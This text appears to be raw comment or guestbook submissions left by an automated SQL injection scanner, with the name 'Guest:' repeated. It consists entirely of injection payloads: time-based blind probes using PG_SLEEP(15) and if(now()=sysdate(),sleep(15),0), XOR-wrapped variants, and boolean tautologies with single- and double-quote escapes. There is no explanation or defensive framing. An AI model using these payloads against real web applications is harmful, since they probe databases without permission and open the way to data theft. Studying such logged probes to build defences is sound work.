Guest:
1-1 OR 788=(SELECT 788 FROM PG_SLEEP(15))--


Guest:
1-1 OR 788=(SELECT 788 FROM PG_SLEEP(15))--


-1 OR 2+435-435-1=0+0+0+1 --

-1 OR 2+126-126-1=0+0+0+1

-1' OR 2+213-213-1=0+0+0+1 --

-1' OR 2+916-916-1=0+0+0+1 or 'oqfQgbpN'='

-1" OR 2+766-766-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1-1 OR 788=(SELECT 788 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1-1 OR 788=(SELECT 788 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z